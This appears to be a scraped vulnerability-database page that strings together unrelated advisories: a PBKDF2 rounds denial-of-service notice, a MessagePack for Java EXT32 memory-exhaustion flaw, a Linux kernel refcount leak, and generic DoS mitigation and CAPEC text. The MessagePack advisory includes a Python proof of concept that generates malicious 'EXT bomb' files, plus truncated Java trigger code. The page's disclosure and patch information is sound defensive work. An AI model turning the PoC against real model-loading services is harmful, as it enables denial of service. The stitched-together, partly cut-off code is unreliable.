Details

Impact

Denial of Service, Applications that allow the use of the PBKDF2 algorithm.

Patches

A patch is available that sets the maximum number of default rounds.

Workarounds

Applications that do not need to use PBKDF2 should simply specify the algorithms use and exclude it from the list. Applications that need to use the algorithm should upgrade to the new version that allows to set a maximum rounds number.

Acknowledgement

Vulnerability from github – Published: 2026-01-05 14:59 – Updated: 2026-01-05 14:59
VLAI
Summary
MessagePack for Java Vulnerable to Remote DoS via Malicious EXT Payload Allocation
Details

Summary

Affected Components:

org.msgpack.core.MessageUnpacker.readPayload()
org.msgpack.core.MessageUnpacker.unpackValue()
org.msgpack.value.ExtensionValue.getData()

A denial-of-service vulnerability exists in MessagePack for Java when deserializing .msgpack files containing EXT32 objects with attacker-controlled payload lengths. While MessagePack-Java parses extension headers lazily, it later trusts the declared EXT payload length when materializing the extension data. When ExtensionValue.getData() is invoked, the library attempts to allocate a byte array of the declared length without enforcing any upper bound. A malicious .msgpack file of only a few bytes can therefore trigger unbounded heap allocation, resulting in JVM heap exhaustion, process termination, or service unavailability. This vulnerability is triggered during model loading / deserialization, making it a model format vulnerability suitable for remote exploitation.

PoC

import msgpack
import struct
import os

OUTPUT_DIR = "bombs"
os.makedirs(OUTPUT_DIR, exist_ok=True)

# EXT format: fixext / ext8 / ext16 / ext32
# ext32 allows attacker-controlled length (uint32)

length = 1
step = 10_000_000

while True:
    try:
        # EXT32: 0xC9 | length (4 bytes) | type (1 byte)
        header = b'\xC9' + struct.pack(">I", length) + b'\x01'
        payload = b'A'   # actual data tiny

        data = header + payload

        fname = f"{OUTPUT_DIR}/ext_length_{length}.msgpack"
        with open(fname, "wb") as f:
            f.write(data)

        print(f"[+] Generated EXT bomb with declared length={length}")
        length += step

    except Exception as e:
        print("[!] Stopped:", e)
        break

        // Vulnerability trigger:
        byte[] payload = ext.getData();

        System.out.println(payload.length);
    }
}

Compile

javac -cp msgpack-core-0.9.8.jar Main.java

Run (with limited heap)

java -Xmx256m -cp .:msgpack-core-0.9.8.jar Main

Observed Result:

    at org.msgpack.core.MessageUnpacker.readPayload(...)
    at org.msgpack.core.MessageUnpacker.unpackValue(...)

Run:

A remotely hosted model file on Hugging Face can cause denial of service when loaded by a Java-based consumer.

Resolution

This issue is addressed in https://github.com/msgpack/msgpack-java/commit/daa2ea6b2f11f500e22c70a22f689f7a9debdeae by gradually allocating memory for large inputs, for both EXT32/BIN32 data types. This patch is released in msgpack-java 0.9.11 https://github.com/msgpack/msgpack-java/releases/tag/v0.9.11

Impact

This vulnerability enables a remote denial-of-service attack against applications that deserialize untrusted .msgpack model files using MessagePack for Java. A specially crafted but syntactically valid .msgpack file containing an EXT32 object with an attacker-controlled, excessively large payload length can trigger unbounded memory allocation during deserialization. When the model file is loaded, the library trusts the declared length metadata and attempts to allocate a byte array of that size, leading to rapid heap exhaustion, excessive garbage collection, or immediate JVM termination with an OutOfMemoryError. The attack requires no malformed bytes, user interaction, or elevated privileges and can be exploited remotely in real-world environments such as model registries, inference services, CI/CD pipelines, and cloud-based model hosting platforms that accept or fetch .msgpack artifacts. Because the malicious file is extremely small yet valid, it can bypass basic validation and scanning mechanisms, resulting in complete service unavailability and potential cascading failures in production systems.

Vulnerability from github – Published: 2022-05-13 01:42 – Updated: 2025-04-20 03:48
VLAI
Details

The bio_map_user_iov and bio_unmap_user functions in block/bio.c in the Linux kernel before 4.13.8 do unbalanced refcounting when a SCSI I/O vector has small consecutive buffers belonging to the same page. The bio_add_pc_page function merges them into one, but the page reference is never dropped. This causes a memory leak and possible system lockup (exploitable against the host OS by a guest OS user, if a SCSI disk is passed through to a virtual machine) due to an out-of-memory condition.

Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.
